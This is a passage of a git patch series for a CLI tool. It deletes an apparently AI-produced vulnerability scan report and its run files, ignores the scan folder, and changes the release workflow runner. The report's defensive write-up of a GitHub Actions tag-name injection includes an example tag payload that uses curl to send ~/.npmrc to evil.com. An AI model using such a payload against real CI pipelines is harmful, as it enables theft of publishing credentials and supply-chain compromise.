pre-exists with looser (e.g., 0o644, group/world-readable) permissions before saveConfig runs include: (a) an older `@formo/cli` version that wrote config.json without the `mode` option (default 0o666 & ~umask → typically 0o644); (b) the user or another tool creating the file first; (c) a backup/restore or dotfile-sync tool resetting modes; (d) `EXISTING` config dir created by another app under `~/.config`. In any of these cases `formo login` writes a long-lived `formo_…` API key into a world/group-readable file on a multi-user host, disclosing the credential to other local users — the precise risk the 0o600 control was meant to prevent. clearConfig() (L35-37) has the same create-only-mode limitation (lower impact since it writes `{}`).", - "lineNumbers": [ - 26, - 27, - 28, - 29 - ], - "recommendation": "Do not rely on writeFileSync's create-only `mode`. After writing, explicitly enforce permissions: `fs.chmodSync(CONFIG_FILE, 0o600)` (and `fs.chmodSync(CONFIG_DIR, 0o700)`), or write atomically via `fs.openSync(CONFIG_FILE, 'w', 0o600)` followed by `fs.fchmodSync(fd, 0o600)` before writing, then rename. Optionally detect and warn (or refuse) if the existing file/dir has group/other bits set. Apply the same chmod hardening in clearConfig().", - "confidence": "medium", - "producedByRunId": "20260518132805-a5fd1949eb744d8b" - } - ], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:31:02.829Z", - "durationMs": 42587, - "durationApiMs": 39632, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", - "findingCount": 1, - "numTurns": 2.25, - "phase": "process", - "costUsd": 0.17684918750000003, - "usage": { - "inputTokens": 3, - "outputTokens": 2741.25, - "cacheReadInputTokens": 53677.75, - "cacheCreationInputTokens": 13034.25 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ] - }, - { - "filePath": "src/lib/ui.ts", - "findings": [], - "analysisHistory": [ - { - "runId": "20260518132805-a5fd1949eb744d8b", - "investigatedAt": "2026-05-18T13:31:02.648Z", - "durationMs": 42587, - "durationApiMs": 39632, - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "agentSessionId": "8b108fcb-9c4d-457d-a3e3-cea3f3a470cf", - "findingCount": 0, - "numTurns": 2.25, - "phase": "process", - "costUsd": 0.17684918750000003, - "usage": { - "inputTokens": 3, - "outputTokens": 2741.25, - "cacheReadInputTokens": 53677.75, - "cacheCreationInputTokens": 13034.25 - }, - "refusal": { - "refused": false, - "skipped": [], - "raw": "```json\n{\"refused\": false, \"reason\": null, \"skipped\": []}\n```" - } - } - ] - } - ] -} diff --git a/.deepsec/data/cli/reports/report.md b/.deepsec/data/cli/reports/report.md deleted file mode 100644 index 44de4e4..0000000 --- a/.deepsec/data/cli/reports/report.md +++ /dev/null @@ -1,91 +0,0 @@ -# Vulnerability Scan Report - -| Field | Value | -|-------|-------| -| Project | cli | -| Date | 2026-05-18T13:32:27.438Z | -| Files tracked | 16 | -| Files analyzed | 16 | -| Total findings | 4 | - -## Summary - -| Severity | Count | -|----------|-------| -| CRITICAL | 0 | -| HIGH | 1 | -| MEDIUM | 1 | -| HIGH_BUG | 0 | -| BUG | 2 | - -## HIGH (1) - -### Command injection in release workflow via attacker-controlled git tag name (supply-chain RCE) - -- **File:** `.github/workflows/release.yml` -- **Recent committers:** Yos Riady <1084226+yosriady@users.noreply.github.com>, ngogiahuandev <ngogiahuan23122003@gmail.com> -- **Lines:** 49, 55, 79, 82 -- **Slug:** github-workflow-security -- **Confidence:** high - -The `publish` job interpolates tag-derived GitHub Actions expressions directly into multi-line `run:` shell scripts. L79 `CURRENT_TAG=${{ github.ref_name }}` injects the raw tag name, and L55/L82 `TAG_VERSION=${{ steps.version.outputs.version }}` / `VERSION=${{ steps.version.outputs.version }}` inject the `version` step output which is derived at L49 from the tag itself (`VERSION=${GITHUB_REF#refs/tags/v}`). Actions performs `${{ }}` substitution textually BEFORE the shell runs, so the tag name becomes literal shell source. Git ref-naming rules forbid spaces and a few metacharacters but PERMIT `;`, `$`, backtick, `(`, `)`, `|`, `&`, `{`, `}`, `<`, `>`. A tag such as `v1.0.0;curl${IFS}-d@$HOME/.npmrc${IFS}evil.com` (or backtick/`$()` variants, using `${IFS}` to avoid spaces) yields `CURRENT_TAG=v1.0.0;curl ... evil.com`, executing arbitrary commands. The `publish` job holds `id-token: write` (npm OIDC trusted publishing), `contents: write`, and environment access to `secrets.TEST_TOKEN` and `secrets.GITHUB_TOKEN`. Arbitrary code execution here means an attacker can publish a malicious `@formo/cli` to npm, exfiltrate the OIDC-minted npm publish token and `GITHUB_TOKEN`, and tamper with releases — a full supply-chain compromise of a published package. The earlier 'Verify tag is on main branch' step only checks `github.sha` ancestry (a hex SHA, not injectable) and does NOT validate the tag NAME, so it does not mitigate this: an attacker can point a maliciously-named tag at a legitimate main commit and the guard still passes. Precondition: ability to push/create a tag (repository write access; default GitHub has no tag-protection). This is a privilege escalation from 'write access' to 'arbitrary npm publish + OIDC/secret exfiltration', and is the canonical GitHub Actions script-injection anti-pattern (CWE-78) that GitHub explicitly warns against. - -**Recommendation:** Never interpolate `${{ github.ref_name }}` or any tag/ref-derived value (including `steps.version.outputs.version`, which is computed from the tag) directly into a `run:` block. Pass them through the step's `env:` map and reference them as quoted shell variables, e.g.: - - - name: Generate release notes - env: - CURRENT_TAG: ${{ github.ref_name }} - VERSION: ${{ steps.version.outputs.version }} - run: | - PREV_TAG=$(git tag -l 'v*' --sort=-version:refname | grep -v "^${CURRENT_TAG}$" | head -1) - -Do the same for the `TAG_VERSION` usage at L55. Environment-variable values are not re-parsed as shell, so injection is prevented. Additionally, harden the version regex (e.g. validate `github.ref_name` matches `^v[0-9]+\.[0-9]+\.[0-9]+([.-][0-9A-Za-z.]+)?$` and `exit 1` otherwise before any other step), and enable GitHub tag protection rules so only trusted maintainers can create `v*` tags. - ---- - -## MEDIUM (1) - -### API-key config file permission control (0o600) silently bypassed when config.json already exists - -- **File:** `src/lib/config.ts` -- **Recent committers:** ngogiahuandev <ngogiahuan23122003@gmail.com> -- **Lines:** 26, 27, 28, 29 -- **Slug:** other-insecure-file-permissions -- **Confidence:** medium - -saveConfig() persists the plaintext API key with `fs.writeFileSync(CONFIG_FILE, ..., { mode: 0o600 })` and creates the directory with `fs.mkdirSync(CONFIG_DIR, { recursive: true, mode: 0o700 })`. Per Node.js semantics, the `mode` option of `writeFileSync` is applied ONLY when the file is newly created (open with O_CREAT). If `~/.config/formo/config.json` already exists, the mode is NOT re-applied — the file is merely truncated and rewritten while retaining its existing permissions. Likewise, `mkdirSync` does not chmod an already-existing CONFIG_DIR. The codebase's documented threat model ranks 'API-key disclosure via weak config-file perms' as the #1 impact, and the sole stated control for the plaintext-credential store is exactly this `0o600`/`0o700` mode. That control is conditional: it holds only for a clean first creation. Realistic ways the file pre-exists with looser (e.g., 0o644, group/world-readable) permissions before saveConfig runs include: (a) an older `@formo/cli` version that wrote config.json without the `mode` option (default 0o666 & ~umask → typically 0o644); (b) the user or another tool creating the file first; (c) a backup/restore or dotfile-sync tool resetting modes; (d) `EXISTING` config dir created by another app under `~/.config`. In any of these cases `formo login` writes a long-lived `formo_…` API key into a world/group-readable file on a multi-user host, disclosing the credential to other local users — the precise risk the 0o600 control was meant to prevent. clearConfig() (L35-37) has the same create-only-mode limitation (lower impact since it writes `{}`). - -**Recommendation:** Do not rely on writeFileSync's create-only `mode`. After writing, explicitly enforce permissions: `fs.chmodSync(CONFIG_FILE, 0o600)` (and `fs.chmodSync(CONFIG_DIR, 0o700)`), or write atomically via `fs.openSync(CONFIG_FILE, 'w', 0o600)` followed by `fs.fchmodSync(fd, 0o600)` before writing, then rename. Optionally detect and warn (or refuse) if the existing file/dir has group/other bits set. Apply the same chmod hardening in clearConfig(). - ---- - -## BUG (2) - -### HTTP GET issued with a request body for profile search conditions - -- **File:** `src/commands/profiles.ts` -- **Recent committers:** Yos Riady <1084226+yosriady@users.noreply.github.com>, ngogiahuandev <ngogiahuan23122003@gmail.com> -- **Lines:** 124 -- **Slug:** other-logic-bug -- **Confidence:** low - -searchProfilesRun() sends the validated `--conditions`/`--logic` payload as the body of a GET request: `client.request({ method: 'get', url: '/v0/profiles/', params, data: body })`. Bodies on GET requests are not reliably transmitted — axios sends them, but many HTTP intermediaries, proxies, and server frameworks strip or ignore GET request bodies. If the body is dropped anywhere along the path, the filter conditions are silently discarded and the endpoint returns the entire unfiltered profile dataset. This is exactly the silent-unfiltered-result footgun that parseSearchConditions()'s own comments (lines 52-55, 96-98) go to great lengths to prevent for bare field names. Not a security vulnerability (data is the caller's own project data under their own scoped key), but a correctness/cost concern: a user believing they filtered to a small result set may instead page through the full dataset. Low confidence because it depends on api.formo.so and the transport actually honoring GET bodies, which cannot be verified from the client code alone. - -**Recommendation:** Either send the conditions payload via POST (e.g. a dedicated search endpoint) or confirm api.formo.so reliably reads GET bodies. If the GET-with-body contract is intentional and supported end-to-end, document it explicitly so future maintainers do not 'fix' it. - ---- - -### buildCreateSegmentBody does not validate that --filter-sets is an array - -- **File:** `src/commands/segments.ts` -- **Recent committers:** Yos Riady <1084226+yosriady@users.noreply.github.com>, ngogiahuandev <ngogiahuan23122003@gmail.com> -- **Lines:** 32, 33, 34, 35, 36, 37, 38, 42 -- **Slug:** other-input-validation -- **Confidence:** high - -buildCreateSegmentBody() does `JSON.parse(options.filterSets)` and forwards the result unchanged, but never checks `Array.isArray(parsedFilterSets)`. Both the catch-block error message ('--filter-sets must be a valid JSON array') and the Zod option description ('JSON array of filter set strings defining the segment') promise array validation that the code does not perform. Inputs like `--filter-sets '{"x":1}'`, `--filter-sets '5'`, or `--filter-sets '"foo"'` are valid JSON and therefore pass client-side validation, sending a malformed `filterSets` shape to POST /v0/segments/. This is inconsistent with the sibling validator buildImportBody() in import.ts (lines 19-21), which correctly rejects non-arrays. Not a security issue — the server enforces the real schema under the segments:write scope — but the misleading error message degrades the CLI/agent UX and can mask the actual cause of a server rejection. - -**Recommendation:** After JSON.parse, add `if (!Array.isArray(parsedFilterSets)) throw new Error('--filter-sets must be a valid JSON array')`, mirroring buildImportBody() in import.ts, so the validation matches the documented contract. - ---- - diff --git a/.deepsec/data/cli/runs/20260518132755-84f586919cca3cc4.json b/.deepsec/data/cli/runs/20260518132755-84f586919cca3cc4.json deleted file mode 100644 index be6b6b1..0000000 --- a/.deepsec/data/cli/runs/20260518132755-84f586919cca3cc4.json +++ /dev/null @@ -1,93 +0,0 @@ -{ - "runId": "20260518132755-84f586919cca3cc4", - "projectId": "cli", - "rootPath": "/Users/yos/cli", - "createdAt": "2026-05-18T13:27:55.810Z", - "type": "scan", - "phase": "done", - "pid": 94471, - "hostname": "Mac.lan", - "scannerConfig": { - "matcherSlugs": [ - "auth-bypass", - "missing-auth", - "xss", - "rce", - "sql-injection", - "ssrf", - "path-traversal", - "secrets-exposure", - "insecure-crypto", - "open-redirect", - "public-endpoint", - "service-entry-point", - "webhook-handler", - "iam-permissions", - "unsafe-redirect", - "dangerous-html", - "jwt-handling", - "env-exposure", - "rate-limit-bypass", - "cross-tenant-id", - "secret-in-fallback", - "secret-in-log", - "url-regex-validation", - "git-provider-url-injection", - "cron-secret-check", - "lua-string-concat-url", - "lua-ngx-exec", - "lua-shared-dict-poisoning", - "lua-regex-bypass", - "lua-crypto-weakness", - "cache-key-poisoning", - "secret-env-var", - "unverified-lookup", - "oauth-flow", - "security-behind-flag", - "spread-operator-injection", - "non-atomic-operation", - "debug-endpoint", - "postmessage-origin", - "algorithm-confusion", - "object-injection", - "env-var-as-bool", - "response-header-leak", - "cors-wildcard", - "unsafe-deserialization", - "agent-tool-definition", - "dev-auth-bypass", - "streaming-endpoint", - "expensive-api-abuse", - "process-env-access", - "missing-await", - "sensitive-data-in-traces", - "cache-key-scope", - "non-atomic-read-delete", - "test-header-bypass", - "event-handler-mismatch", - "error-message-leak", - "crypto-usage", - "secrets-plaintext-exposure", - "k8s-secret-reference", - "k8s-secrets-init-container", - "sandbox-runtime-script", - "github-workflow-security", - "agentic-untrusted-prompt-input", - "snowflake-bigquery-sql", - "slack-signing-verification", - "session-cookie-config", - "zod-passthrough-mass-assignment", - "untrusted-redirect-following", - "agent-loop-no-cap", - "prompt-leaks-system-prompt", - "fs-write-symlink-boundary", - "js-sql-raw", - "js-nosql-injection" - ] - }, - "stats": { - "filesScanned": 16, - "candidatesFound": 24 - }, - "completedAt": "2026-05-18T13:27:56.027Z" -} diff --git a/.deepsec/data/cli/runs/20260518132805-a5fd1949eb744d8b.json b/.deepsec/data/cli/runs/20260518132805-a5fd1949eb744d8b.json deleted file mode 100644 index 86fd728..0000000 --- a/.deepsec/data/cli/runs/20260518132805-a5fd1949eb744d8b.json +++ /dev/null @@ -1,27 +0,0 @@ -{ - "runId": "20260518132805-a5fd1949eb744d8b", - "projectId": "cli", - "rootPath": "/Users/yos/cli", - "createdAt": "2026-05-18T13:28:05.587Z", - "type": "process", - "phase": "done", - "pid": 94587, - "hostname": "Mac.lan", - "processorConfig": { - "agentType": "claude-agent-sdk", - "model": "claude-opus-4-7", - "modelConfig": { - "model": "claude-opus-4-7" - }, - "invocationMode": "scan" - }, - "stats": { - "filesProcessed": 16, - "findingsCount": 4, - "totalCostUsd": 2.88212875, - "totalInputTokens": 36, - "totalOutputTokens": 46401, - "totalDurationMs": 684144 - }, - "completedAt": "2026-05-18T13:32:16.571Z" -} diff --git a/.gitignore b/.gitignore index 9fbdbb5..61a6611 100644 --- a/.gitignore +++ b/.gitignore @@ -28,3 +28,6 @@ pnpm-debug.log* # Test coverage coverage/ + +# Security scan output +.deepsec/ From b97618ba7b6e427e28fb35c40942c338237fa9fc Mon Sep 17 00:00:00 2001 From: Yos Riady <yos@formo.so> Date: Thu, 25 Jun 2026 09:00:49 +0700 Subject: [PATCH 3/3] fix workflow runner for publishing --- .github/workflows/release.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 0cc9a79..27aa0a9 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -11,7 +11,9 @@ permissions: jobs: publish: - runs-on: blacksmith-4vcpu-ubuntu-2404 + # npm provenance publishing only supports GitHub-hosted Actions runners. + # Keep this job on ubuntu-latest unless npm adds self-hosted provenance support. + runs-on: ubuntu-latest # Workflow-context values are bound to env here and referenced as # shell variables ($TAG/$REPO/$COMMIT_SHA) in run: blocks instead of # `${{ }}` interpolation, so an attacker-controlled tag name cannot be